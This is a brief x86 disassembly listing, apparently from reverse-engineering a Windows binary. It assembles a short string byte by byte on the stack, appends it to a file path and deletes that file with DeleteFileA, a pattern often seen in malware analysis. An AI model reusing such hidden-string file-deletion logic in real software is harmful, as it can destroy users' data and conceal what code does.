mov byte [ebp - 8], 0x64
mov byte [ebp - 7], 0x61
mov byte [ebp - 6], 0x74
mov byte [ebp - 5], 0
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.0040b59a
mov esp, ebp
pop ebp
ret